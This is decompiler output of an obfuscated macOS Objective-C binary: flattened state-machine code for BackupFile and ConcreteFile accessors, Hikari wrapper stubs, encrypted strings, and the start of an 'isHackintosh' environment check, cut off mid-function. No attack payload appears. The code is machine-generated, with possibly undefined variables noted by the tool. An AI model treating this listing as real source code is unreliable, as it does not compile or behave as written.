int v3; // ebx
__int64 v4; // [rsp+0h] [rbp-38h]
int v5; // [rsp+Ch] [rbp-2Ch] BYREF
int *v6; // [rsp+10h] [rbp-28h]
v5 = -1936600851;
v6 = &v5;
do
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( v5 > 1164137041 )
{
if ( v5 > 1451042134 )
{
switch ( v5 )
{
case 1451042135:
v3 = -452907593;
goto LABEL_27;
case 1708494093:
v4 = 56;
v3 = -727579363;
LABEL_27:
*v6 = v3;
break;
case 2079528997:
*v6 = 1451042135;
break;
}
}
else
{
switch ( v5 )
{
case 1164137042:
v3 = 1435030677;
goto LABEL_27;
case 1350595740:
*(Class *)((char *)&self->super.super.isa + v4) = (Class)a3;
*v6 = 1435030677;
break;
case 1435030677:
*(Class *)((char *)&self->super.super.isa + v4) = (Class)a3;
v3 = -725897114;
goto LABEL_27;
}
}
}
if ( v5 > -725897115 )
break;
switch ( v5 )
{
case -1986047094:
v3 = 1451042135;
goto LABEL_27;
case -1936600851:
v3 = 1708494093;
goto LABEL_27;
case -727579363:
*v6 = 1164137042;
break;
}
}
if ( v5 != -725897114 )
break;
*v6 = -1986047094;
}
if ( v5 != -723446320 )
break;
*v6 = 1708494093;
}
}
while ( v5 != -452907593 );
}
// 10002247B: conditional instruction was optimized away because %var_30.4==F2FD8119
// 1000222F7: variable 'v4' is possibly undefined
//----- (0000000100022527) ----------------------------------------------------
void __cdecl -[ConcreteFile .cxx_destruct](ConcreteFile *self, SEL a2)
{
int v2; // eax
id *location; // [rsp+0h] [rbp-40h]
int v4; // [rsp+Ch] [rbp-34h] BYREF
int *v5; // [rsp+10h] [rbp-30h]
v4 = -2039654100;
v5 = &v4;
do
{
while ( 1 )
{
while ( v4 > -657215089 )
{
if ( v4 > -193906661 )
{
switch ( v4 )
{
case -193906660:
objc_storeStrong(location, 0);
*v5 = -657215088;
break;
case -77333968:
*v5 = -1058321965;
break;
case 1169878186:
v2 = -250738364;
goto LABEL_25;
}
}
else
{
switch ( v4 )
{
case -657215088:
*v5 = 1169878186;
break;
case -652818542:
*v5 = -1019469681;
break;
case -250738364:
v2 = -1404271415;
goto LABEL_25;
}
}
}
if ( v4 > -1404271416 )
break;
switch ( v4 )
{
case -2132528403:
*v5 = -250738364;
break;
case -2039654100:
v2 = -1058321965;
LABEL_25:
*v5 = v2;
break;
case -1728473686:
objc_storeStrong(location, 0);
*v5 = -193906660;
break;
}
}
if ( v4 == -1058321965 )
{
location = (id *)&self->_contents;
v2 = -652818542;
goto LABEL_25;
}
if ( v4 == -1019469681 )
{
v2 = -193906660;
goto LABEL_25;
}
}
while ( v4 != -1404271415 );
}
// 100022769: conditional instruction was optimized away because %var_38.4==13F0073E
// 100022630: variable 'location' is possibly undefined
//----- (00000001000227B0) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_3(objc_super *a1, const char *a2)
{
return objc_msgSendSuper2(a1, a2);
}
//----- (00000001000227C0) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_320_1(objc_super *a1, const char *a2)
{
return HikariFunctionWrapper_3(a1, a2);
}
//----- (00000001000227D0) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_321_1(void *a1, const char *a2)
{
return objc_msgSend(a1, a2);
}
//----- (00000001000227E0) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_322_0(void *a1, const char *a2)
{
return HikariFunctionWrapper_321_1(a1, a2);
}
//----- (00000001000227F0) ----------------------------------------------------
uint32_t HikariFunctionWrapper_323_0()
{
return arc4random();
}
//----- (0000000100022800) ----------------------------------------------------
uint32_t HikariFunctionWrapper_324_0()
{
return HikariFunctionWrapper_323_0();
}
//----- (0000000100022810) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_325_0(void *a1, const char *a2)
{
return objc_msgSend(a1, a2);
}
//----- (0000000100022820) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_326_0(void *a1, const char *a2)
{
return HikariFunctionWrapper_325_0(a1, a2);
}
//----- (0000000100022830) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_327_0(void *a1, const char *a2)
{
return objc_msgSend(a1, a2);
}
//----- (0000000100022840) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_328_0(void *a1, const char *a2)
{
return HikariFunctionWrapper_327_0(a1, a2);
}
//----- (0000000100022850) ----------------------------------------------------
unsigned __int8 *__fastcall HikariFunctionWrapper_329_0(const void *a1, CC_LONG a2, unsigned __int8 *a3)
{
return CC_SHA1(a1, a2, a3);
}
//----- (0000000100022860) ----------------------------------------------------
unsigned __int8 *__fastcall HikariFunctionWrapper_330_0(const void *a1, CC_LONG a2, unsigned __int8 *a3)
{
return HikariFunctionWrapper_329_0(a1, a2, a3);
}
//----- (0000000100022870) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_331_0(void *a1, const char *a2)
{
return objc_msgSend(a1, a2);
}
//----- (0000000100022880) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_332_0(void *a1, const char *a2)
{
return HikariFunctionWrapper_331_0(a1, a2);
}
//----- (0000000100022890) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_333_0(void *a1, const char *a2)
{
objc_msgSend(a1, a2);
}
//----- (00000001000228A0) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_334_0(void *a1, const char *a2)
{
HikariFunctionWrapper_333_0(a1, a2);
}
//----- (00000001000228B0) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_335_0(void *a1, const char *a2)
{
return objc_msgSend(a1, a2);
}
//----- (00000001000228C0) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_336_0(void *a1, const char *a2)
{
return HikariFunctionWrapper_335_0(a1, a2);
}
//----- (00000001000228D0) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_337_0(void *a1, const char *a2)
{
return objc_msgSend(a1, a2);
}
//----- (00000001000228E0) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_338_0(void *a1, const char *a2)
{
return HikariFunctionWrapper_337_0(a1, a2);
}
//----- (00000001000228F0) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_339_0(void *a1, const char *a2)
{
objc_msgSend(a1, a2);
}
//----- (0000000100022900) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_340_0(void *a1, const char *a2)
{
HikariFunctionWrapper_339_0(a1, a2);
}
//----- (0000000100022910) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_341_0(void *a1, const char *a2)
{
return objc_msgSend(a1, a2);
}
//----- (0000000100022920) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_342_0(void *a1, const char *a2)
{
return HikariFunctionWrapper_341_0(a1, a2);
}
//----- (0000000100022930) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_343(void *a1, const char *a2)
{
objc_msgSend(a1, a2);
}
//----- (0000000100022940) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_344(void *a1, const char *a2)
{
HikariFunctionWrapper_343(a1, a2);
}
//----- (0000000100022950) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_345(void *a1, const char *a2)
{
return objc_msgSend(a1, a2);
}
//----- (0000000100022960) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_346(void *a1, const char *a2)
{
return HikariFunctionWrapper_345(a1, a2);
}
//----- (0000000100022970) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_347(void *a1, const char *a2)
{
objc_msgSend(a1, a2);
}
//----- (0000000100022980) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_348(void *a1, const char *a2)
{
HikariFunctionWrapper_347(a1, a2);
}
//----- (0000000100022990) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_349(void *a1, const char *a2)
{
return objc_msgSend(a1, a2);
}
//----- (00000001000229A0) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_350(void *a1, const char *a2)
{
return HikariFunctionWrapper_349(a1, a2);
}
//----- (00000001000229B0) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_351(void *a1, const char *a2)
{
objc_msgSend(a1, a2);
}
//----- (00000001000229C0) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_352(void *a1, const char *a2)
{
HikariFunctionWrapper_351(a1, a2);
}
//----- (00000001000229D0) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_353(void *a1, const char *a2)
{
objc_msgSend(a1, a2);
}
//----- (00000001000229E0) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_354(void *a1, const char *a2)
{
HikariFunctionWrapper_353(a1, a2);
}
//----- (00000001000229F0) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_355(void *a1, const char *a2)
{
return objc_msgSend(a1, a2);
}
//----- (0000000100022A00) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_356(void *a1, const char *a2)
{
return HikariFunctionWrapper_355(a1, a2);
}
//----- (0000000100022A10) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_357(void *a1, const char *a2)
{
objc_msgSend(a1, a2);
}
//----- (0000000100022A20) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_358(void *a1, const char *a2)
{
HikariFunctionWrapper_357(a1, a2);
}
//----- (0000000100022A30) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_359(void *a1, const char *a2)
{
objc_msgSend(a1, a2);
}
//----- (0000000100022A40) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_360(void *a1, const char *a2)
{
HikariFunctionWrapper_359(a1, a2);
}
//----- (0000000100022A48) ----------------------------------------------------
BackupFile *__cdecl -[BackupFile initWithPath:domain:](BackupFile *self, SEL a2, id a3, id a4)
{
bool v6; // cf
int v7; // eax
int v8; // ecx
char v9; // cf
int v10; // ecx
bool v11; // zf
int v12; // ecx
BackupFile *v13; // r15
NSString *path; // rdi
BackupFile *v15; // r15
objc_super *v16; // rax
id domain; // [rsp+0h] [rbp-60h] BYREF
BackupFile *v19; // [rsp+8h] [rbp-58h]
unsigned int v20; // [rsp+10h] [rbp-50h]
int v21; // [rsp+14h] [rbp-4Ch] BYREF
BackupFile *v22; // [rsp+18h] [rbp-48h]
objc_super *v23; // [rsp+20h] [rbp-40h]
bool v24; // [rsp+2Fh] [rbp-31h]
int *v25; // [rsp+30h] [rbp-30h]
v19 = self;
v20 = -2130149372;
v21 = -273546169;
v25 = &v21;
do
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( v21 > 459238900 )
{
if ( v21 > 1447422541 )
{
if ( v21 > 1954037438 )
{
if ( v21 > 2072595101 )
{
if ( v21 == 2072595102 )
{
v6 = 0;
v7 = 952127376;
v8 = 642496020;
goto LABEL_85;
}
if ( v21 == 2127583209 )
{
v6 = 1;
v7 = 1291476424;
v8 = 1521349105;
goto LABEL_85;
}
}
else
{
if ( v21 == 1954037439 )
{
v6 = 0;
v7 = -928608485;
v8 = -768732986;
goto LABEL_85;
}
if ( v21 == 1994138542 )
{
objc_release(a4);
v9 = 1;
v7 = -1106090557;
v10 = -899670515;
goto LABEL_81;
}
}
}
else if ( v21 > 1521349104 )
{
if ( v21 == 1521349105 )
{
v23->receiver = v19;
v23->super_class = (Class)&OBJC_CLASS___BackupFile;
v16 = -[objc_super init](v23, "init");
v11 = 0;
v22 = (BackupFile *)v16;
v7 = 1291476424;
v12 = 138180733;
LABEL_73:
if ( !v11 )
v7 = v12;
goto LABEL_87;
}
if ( v21 == 1527246591 )
{
objc_release(domain);
*v25 = 1462277388;
}
}
else if ( v21 == 1447422542 )
{
*v25 = -290470127;
}
else if ( v21 == 1462277388 )
{
objc_release(domain);
v9 = 0;
v7 = 1527246591;
v10 = 1447422542;
goto LABEL_81;
}
}
else if ( v21 > 952127375 )
{
if ( v21 > 1291476423 )
{
if ( v21 == 1291476424 )
{
v23->receiver = v19;
v23->super_class = (Class)&OBJC_CLASS___BackupFile;
-[objc_super init](v23, "init");
*v25 = 1521349105;
}
else if ( v21 == 1373067618 )
{
v24 = v22 == 0;
v11 = 0;
v7 = 1148825006;
v12 = -1203602956;
goto LABEL_73;
}
}
else
{
if ( v21 == 952127376 )
{
objc_release(a3);
v9 = 1;
v7 = -1995283925;
v10 = 642496020;
goto LABEL_81;
}
if ( v21 == 1148825006 )
*v25 = 1373067618;
}
}
else if ( v21 > 642496019 )
{
if ( v21 == 642496020 )
{
objc_release(a3);
*v25 = 952127376;
}
else if ( v21 == 837967974 )
{
v23 = (objc_super *)(&domain - 2);
objc_retain(a3);
objc_retain(a4);
v6 = 1;
v7 = 837967974;
v8 = -2072388186;
goto LABEL_85;
}
}
else if ( v21 == 459238901 )
{
v13 = v22;
objc_retain(a3);
path = v13->_path;
v13->_path = (NSString *)a3;
objc_release(path);
v15 = v22;
objc_retain(a4);
domain = v15->_domain;
v15->_domain = (NSString *)a4;
*v25 = -792013200;
}
else if ( v21 == 600272997 )
{
*v25 = -1281894292;
}
}
if ( v21 <= -899670516 )
break;
if ( v21 > -466030274 )
{
if ( v21 > -273546170 )
{
if ( v21 == -273546169 )
{
v6 = v20 < 0x5E06A4B5;
v7 = 837967974;
v8 = -888584849;
LABEL_85:
if ( v6 )
v7 = v8;
goto LABEL_87;
}
if ( v21 == 138180733 )
*v25 = -1844747308;
}
else if ( v21 == -466030273 )
{
*v25 = -2000359419;
}
else if ( v21 == -290470127 )
{
v7 = -2000359419;
goto LABEL_87;
}
}
else if ( v21 > -792013201 )
{
if ( v21 == -792013200 )
{
v9 = 1;
v7 = 1462277388;
v10 = 1527246591;
LABEL_81:
if ( !v9 )
v7 = v10;
LABEL_87:
*v25 = v7;
}
else if ( v21 == -768732986 )
{
*v25 = -928608485;
}
}
else if ( v21 == -899670515 )
{
objc_release(a4);
*v25 = 1994138542;
}
else if ( v21 == -888584849 )
{
objc_retain(a3);
objc_retain(a4);
*v25 = 837967974;
}
}
if ( v21 > -1281894293 )
break;
if ( v21 > -1995283926 )
{
if ( v21 == -1995283925 )
{
*v25 = 1954037439;
}
else if ( v21 == -1844747308 )
{
v9 = 1;
v7 = 1373067618;
v10 = 1148825006;
goto LABEL_81;
}
}
else if ( v21 == -2072388186 )
{
*v25 = 2127583209;
}
else if ( v21 == -2000359419 )
{
v11 = 0;
v7 = -466030273;
v12 = 600272997;
goto LABEL_73;
}
}
if ( v21 > -1106090558 )
break;
if ( v21 == -1281894292 )
{
v6 = 1;
v7 = -899670515;
v8 = 1994138542;
goto LABEL_85;
}
if ( v21 == -1203602956 )
{
v11 = !v24;
v7 = 459238901;
v12 = -1281894292;
goto LABEL_73;
}
}
if ( v21 != -1106090557 )
break;
*v25 = 2072595102;
}
if ( v21 == -928608485 )
{
v6 = 1;
v7 = -928608485;
v8 = -1085210484;
goto LABEL_85;
}
}
while ( v21 != -1085210484 );
return v22;
}
// 10025F890: using guessed type __objc2_class OBJC_CLASS___BackupFile;
//----- (00000001000232DC) ----------------------------------------------------
id __cdecl -[BackupFile toRecord](BackupFile *self, SEL a2)
{
char v2; // cf
int v3; // eax
int v4; // ecx
bool v5; // zf
int v6; // ecx
char v7; // cf
int v8; // ecx
char v9; // cf
int v11; // [rsp+4h] [rbp-3Ch]
int v12; // [rsp+8h] [rbp-38h] BYREF
bool v13; // [rsp+Dh] [rbp-33h]
char v14; // [rsp+Eh] [rbp-32h]
char v15; // [rsp+Fh] [rbp-31h]
int *v16; // [rsp+10h] [rbp-30h]
v12 = -1153538082;
v16 = &v12;
do
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( v12 > 129500613 )
{
if ( v12 <= 937984792 )
{
if ( v12 <= 563657466 )
{
switch ( v12 )
{
case 129500614:
*v16 = 587310893;
break;
case 250569169:
*v16 = -1773604665;
break;
case 347734002:
v2 = 1;
v3 = 2054382417;
v4 = 72294037;
goto LABEL_73;
}
}
else if ( v12 > 765164250 )
{
if ( v12 == 765164251 )
{
v3 = 1351412995;
goto LABEL_85;
}
if ( v12 == 918570271 )
{
v13 = v11 == 0;
v5 = 0;
v3 = 918570271;
v6 = 250569169;
goto LABEL_83;
}
}
else
{
if ( v12 == 563657467 )
{
v9 = 0;
aI[31] = v15;
aI[32] = 98;
aI[33] = 99;
aI[34] = 108;
aI[35] = 97;
aI[36] = 115;
aI[37] = 101;
aI[38] = 0;
v3 = 1763522979;
goto LABEL_69;
}
if ( v12 == 587310893 )
{
v5 = 0;
v11 = dword_10029F268;
v3 = 587310893;
v6 = -821820247;
goto LABEL_83;
}
}
}
else if ( v12 > 1599456951 )
{
if ( v12 > 2054382416 )
{
if ( v12 == 2054382417 )
{
+[NSException raise:format:](
&OBJC_CLASS___NSException,
"raise:format:",
-1,
CFSTR("\x02\x18\x06\x11 'I\x92ٜ\xA8C\x93hEn8pvq\x98\x17''W\xFC\xEA\x52\x7A\x9E\x16 \xED\x5C\xE6\xA6\xA0\xBE\xFF"));
*v16 = 72294037;
}
else if ( v12 == 2134908579 )
{
*v16 = -1569702527;
}
}
else
{
if ( v12 == 1599456952 )
{
v2 = 1;
v3 = -1317878503;
v4 = -1039616001;
LABEL_73:
if ( v2 )
v3 = v4;
goto LABEL_85;
}
if ( v12 == 1763522979 )
*v16 = 765164251;
}
}
else if ( v12 > 1351412994 )
{
if ( v12 == 1351412995 )
{
dword_10029F268 = 1;
v3 = -474532687;
goto LABEL_85;
}
if ( v12 == 1448662760 )
{
v7 = 1;
v3 = -1569702527;
v8 = 2134908579;
LABEL_53:
if ( !v7 )
v3 = v8;
goto LABEL_85;
}
}
else
{
if ( v12 == 937984793 )
{
v9 = 1;
v3 = -623174187;
LABEL_69:
if ( v9 )
v3 = 563657467;
goto LABEL_85;
}
if ( v12 == 1329293011 )
{
dword_10029F268 = 1;
*v16 = 1351412995;
}
}
}
if ( v12 > -821820248 )
break;
if ( v12 <= -1258490030 )
{
switch ( v12 )
{
case -1773604665:
v5 = !v13;
v3 = 765164251;
v6 = 1599456952;
LABEL_83:
if ( !v5 )
v3 = v6;
LABEL_85:
*v16 = v3;
break;
case -1569702527:
*v16 = -530544087;
break;
case -1317878503:
qmemcpy(aI, "Debe ser implementado ", 22);
*v16 = -1039616001;
break;
}
}
else if ( v12 > -1039616002 )
{
if ( v12 == -1039616001 )
{
qmemcpy(aI, "Debe ser implementado ", 22);
v2 = 1;
v14 = -81;
v3 = -1317878503;
v4 = -1258490029;
goto LABEL_73;
}
if ( v12 == -947288560 )
*v16 = 1448662760;
}
else if ( v12 == -1258490029 )
{
*v16 = -295717;
}
else if ( v12 == -1153538082 )
{
v7 = 0;
v3 = 129500614;
v8 = 587310893;
goto LABEL_53;
}
}
if ( v12 <= -474532688 )
break;
if ( v12 > -295718 )
{
if ( v12 == -295717 )
{
aI[22] = v14 - 2 * (v14 & 0x5F) - 33;
aI[23] = 111;
aI[24] = 114;
aI[25] = 32;
aI[26] = 117;
aI[27] = 110;
aI[28] = 97;
aI[29] = 32;
aI[30] = 115;
v15 = 117;
*v16 = 937984793;
}
else if ( v12 == 72294037 )
{
+[NSException raise:format:](
&OBJC_CLASS___NSException,
"raise:format:",
-1,
CFSTR("\x02\x18\x06\x11 'I\x92ٜ\xA8C\x93hEn8pvq\x98\x17''W\xFC\xEA\x52\x7A\x9E\x16 \xED\x5C\xE6\xA6\xA0\xBE\xFF"));
v7 = 0;
v3 = 72294037;
v8 = -947288560;
goto LABEL_53;
}
}
else if ( v12 == -474532687 )
{
*v16 = 347734002;
}
else if ( v12 == -28152097 )
{
v2 = 0;
v3 = 918570271;
v4 = -690697288;
goto LABEL_73;
}
}
if ( v12 > -623174188 )
break;
if ( v12 == -821820247 )
{
*v16 = -28152097;
}
else if ( v12 == -690697288 )
{
*v16 = 918570271;
}
}
if ( v12 != -623174187 )
break;
aI[31] = v15;
aI[32] = 98;
aI[33] = 99;
aI[34] = 108;
aI[35] = 97;
aI[36] = 115;
aI[37] = 101;
aI[38] = 0;
*v16 = 563657467;
}
}
while ( v12 != -530544087 );
return 0;
}
// 1000237F9: variable 'v11' is possibly undefined
// 100264600: using guessed type __CFString cfstr_I;
// 10029F268: using guessed type int dword_10029F268;
//----- (0000000100023EEC) ----------------------------------------------------
NSString *__cdecl -[BackupFile path](BackupFile *self, SEL a2)
{
int v2; // edi
NSString **p_path; // [rsp+0h] [rbp-20h]
NSString *v5; // [rsp+8h] [rbp-18h]
int v6; // [rsp+14h] [rbp-Ch] BYREF
int *v7; // [rsp+18h] [rbp-8h]
p_path = &self->_path;
v6 = 1297677624;
v7 = &v6;
do
{
while ( 1 )
{
while ( v6 > 977226863 )
{
if ( v6 == 977226864 )
{
*v7 = 581938514;
}
else if ( v6 == 1297677624 )
{
v2 = 581938514;
LABEL_9:
*v7 = v2;
}
}
if ( v6 != 218533792 )
break;
*v7 = -971224394;
}
if ( v6 == 581938514 )
{
v5 = *p_path;
v2 = 218533792;
goto LABEL_9;
}
}
while ( v6 != -971224394 );
return v5;
}
// 100024038: variable 'v5' is possibly undefined
//----- (000000010002403E) ----------------------------------------------------
void __cdecl -[BackupFile setPath:](BackupFile *self, SEL a2, id a3)
{
int v4; // eax
NSString **p_path; // [rsp+8h] [rbp-48h]
NSString *v6; // [rsp+10h] [rbp-40h]
int v7; // [rsp+1Ch] [rbp-34h] BYREF
int *v8; // [rsp+20h] [rbp-30h]
p_path = &self->_path;
objc_retain(a3);
v7 = 114801751;
v8 = &v7;
do
{
while ( 1 )
{
while ( v7 > 477700006 )
{
if ( v7 > 1223142206 )
{
if ( v7 == 1223142207 )
{
v4 = 2126295166;
LABEL_19:
*v8 = v4;
}
else if ( v7 == 2126295166 )
{
objc_release(v6);
v4 = -1879936324;
goto LABEL_19;
}
}
else if ( v7 == 477700007 )
{
*p_path = (NSString *)a3;
*v8 = -1456288968;
}
else if ( v7 == 521751159 )
{
*v8 = 1223142207;
}
}
if ( v7 <= -201366820 )
break;
if ( v7 == -201366819 )
{
objc_release(v6);
*v8 = 2126295166;
}
else if ( v7 == 114801751 )
{
v4 = -1456288968;
goto LABEL_19;
}
}
if ( v7 == -1456288968 )
{
v6 = *p_path;
*p_path = (NSString *)a3;
v4 = 521751159;
goto LABEL_19;
}
}
while ( v7 != -1879936324 );
}
// 100024185: variable 'v6' is possibly undefined
//----- (000000010002426B) ----------------------------------------------------
NSString *__cdecl -[BackupFile domain](BackupFile *self, SEL a2)
{
NSString **p_domain; // rdi
int v3; // eax
NSString **v5; // [rsp+0h] [rbp-38h]
NSString *v6; // [rsp+8h] [rbp-30h]
int v7; // [rsp+14h] [rbp-24h] BYREF
int *v8; // [rsp+18h] [rbp-20h]
v7 = 1121418857;
v8 = &v7;
p_domain = &self->_domain;
do
{
while ( 1 )
{
while ( 1 )
{
while ( v7 > 202654083 )
{
if ( v7 > 1321867205 )
{
switch ( v7 )
{
case 1321867206:
*v8 = -734028303;
break;
case 1647816712:
*v8 = 1657350982;
break;
case 1657350982:
v3 = -912442459;
goto LABEL_25;
}
}
else
{
switch ( v7 )
{
case 202654084:
v3 = 1657350982;
goto LABEL_25;
case 357297174:
*v8 = -2102531506;
break;
case 1121418857:
v3 = -1603449366;
goto LABEL_25;
}
}
}
if ( v7 > -912442460 )
break;
switch ( v7 )
{
case -2102531506:
v6 = *v5;
v3 = -1436792144;
goto LABEL_25;
case -1603449366:
v5 = p_domain;
v3 = 1321867206;
LABEL_25:
*v8 = v3;
break;
case -1436792144:
*v8 = 202654084;
break;
}
}
if ( v7 == -734028303 )
{
v3 = -2102531506;
goto LABEL_25;
}
if ( v7 != 115304410 )
break;
*v8 = -1603449366;
}
}
while ( v7 != -912442459 );
return v6;
}
// 1000242F4: conditional instruction was optimized away because %var_28.4==0
// 100024415: variable 'v5' is possibly undefined
// 100024523: variable 'v6' is possibly undefined
//----- (000000010002452E) ----------------------------------------------------
void __cdecl -[BackupFile setDomain:](BackupFile *self, SEL a2, id a3)
{
int v4; // eax
NSString *v5; // [rsp+8h] [rbp-48h]
int v6; // [rsp+14h] [rbp-3Ch] BYREF
NSString **p_domain; // [rsp+18h] [rbp-38h]
int *v8; // [rsp+20h] [rbp-30h]
v6 = 1481359488;
v8 = &v6;
do
{
while ( 1 )
{
while ( 1 )
{
while ( v6 > 107461290 )
{
if ( v6 > 1481359487 )
{
if ( v6 == 1543961101 )
{
*p_domain = (NSString *)a3;
objc_release(v5);
v4 = -926727531;
LABEL_20:
*v8 = v4;
}
else if ( v6 == 1481359488 )
{
v4 = 1376700112;
goto LABEL_20;
}
}
else if ( v6 == 107461291 )
{
objc_retain(a3);
v5 = *p_domain;
*v8 = -1253877465;
}
else if ( v6 == 1376700112 )
{
p_domain = &self->_domain;
v4 = -29766289;
goto LABEL_20;
}
}
if ( v6 > -1241520783 )
break;
if ( v6 == -1254200186 )
{
*v8 = 1376700112;
}
else if ( v6 == -1253877465 )
{
LABEL_22:
*v8 = 1543961101;
}
}
if ( v6 == -1241520782 )
{
*p_domain = (NSString *)a3;
objc_release(v5);
goto LABEL_22;
}
if ( v6 != -29766289 )
break;
*v8 = 107461291;
}
}
while ( v6 != -926727531 );
}
// 1000246F0: variable 'v5' is possibly undefined
//----- (000000010002474F) ----------------------------------------------------
void __cdecl -[BackupFile .cxx_destruct](BackupFile *self, SEL a2)
{
int v2; // eax
id *location; // [rsp+8h] [rbp-38h]
int v4; // [rsp+14h] [rbp-2Ch] BYREF
int *v5; // [rsp+18h] [rbp-28h]
location = (id *)&self->_domain;
v4 = 1889590423;
v5 = &v4;
do
{
while ( 1 )
{
while ( v4 <= 1768277370 )
{
if ( v4 == -1583603676 )
{
*v5 = 1866385973;
}
else if ( v4 == -1276973803 )
{
objc_storeStrong(location, 0);
*v5 = 1768277371;
}
}
if ( v4 != 1768277371 )
break;
objc_storeStrong(location, 0);
v2 = -1583603676;
LABEL_10:
*v5 = v2;
}
if ( v4 == 1889590423 )
{
v2 = 1768277371;
goto LABEL_10;
}
}
while ( v4 != 1866385973 );
objc_storeStrong((id *)&self->_path, 0);
}
//----- (0000000100024880) ----------------------------------------------------
char __cdecl +[AldazSecurityGuard isHackintosh](id a1, SEL a2)
{
char v2; // cf
int v3; // eax
int v4; // ecx
bool v5; // zf
int v6; // ecx
id v7; // rax
id v8; // r15
id v9; // rax
char v10; // cf
int v11; // ecx
id v12; // rax
id v13; // r15
id v14; // rax
NSProcessInfo *v15; // rax
int v16; // eax
NSProcessInfo *v17; // rax
char v18; // bl
char *v20; // [rsp+8h] [rbp-68h]
const char *v21; // [rsp+10h] [rbp-60h]
const char *v22; // [rsp+18h] [rbp-58h]
int v23; // [rsp+20h] [rbp-50h]
int v24; // [rsp+24h] [rbp-4Ch] BYREF
id v25; // [rsp+28h] [rbp-48h]
id v26; // [rsp+30h] [rbp-40h]
bool v27; // [rsp+39h] [rbp-37h]
bool v28; // [rsp+3Ah] [rbp-36h]
bool v29; // [rsp+3Bh] [rbp-35h]
char v30; // [rsp+3Ch] [rbp-34h]
char v31; // [rsp+3Dh] [rbp-33h]
char v32; // [rsp+3Eh] [rbp-32h]
char v33; // [rsp+3Fh] [rbp-31h]
int *v34; // [rsp+40h] [rbp-30h]
v23 = dword_10029F280;
v24 = 120849720;
v34 = &v24;
do
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( v24 <= 120849719 )
{
if ( v24 <= -1006719172 )
{
if ( v24 > -1784135166 )
{
if ( v24 <= -1599250793 )
{
if ( v24 == -1784135165 )
{
v20 = getenv(asc_1002647C0);
*v34 = -646165718;
}
else if ( v24 == -1645414649 )
{
v3 = 942305294;
goto LABEL_110;
}
}
else
{
switch ( v24 )
{
case -1599250792:
goto LABEL_108;
case -1473790266:
*v34 = 1946988182;
break;
case -1029786587:
v28 = (unsigned __int8)objc_msgSend(v25, v22, CFSTR("\xC7\xF6\x01L\xF3\x42\x99\x6D;\b")) == 0;
v2 = 0;
v3 = -1836646719;
v4 = 536638372;
goto LABEL_89;
}
}
}
else if ( v24 <= -1830899248 )
{
if ( v24 == -1986306040 )
{
*v34 = 373432264;
}
else if ( v24 == -1836646719 )
{
HikariFunctionWrapper_2619(v25, v22);
*v34 = -1029786587;
}
}
else
{
switch ( v24 )
{
case -1830899247:
*v34 = -1599250792;
break;
case -1795410368:
asc_1002647DC[3] = v31 ^ 0x28;
asc_1002647DC[4] = 105;
asc_1002647DC[5] = 110;
asc_1002647DC[6] = 116;
asc_1002647DC[7] = 111;
asc_1002647DC[8] = 115;
asc_1002647DC[9] = 104;
asc_1002647DC[10] = 0;
v10 = 1;
asc_1002647C0[0] = 65;
byte_1002647C1 = 76;
v32 = 76;
v3 = -909615899;
v11 = -1986306040;
goto LABEL_100;
case -1786294284:
v5 = 0;
v30 = v29;
v3 = -395703994;
v6 = 69628600;
goto LABEL_72;
}
}
}
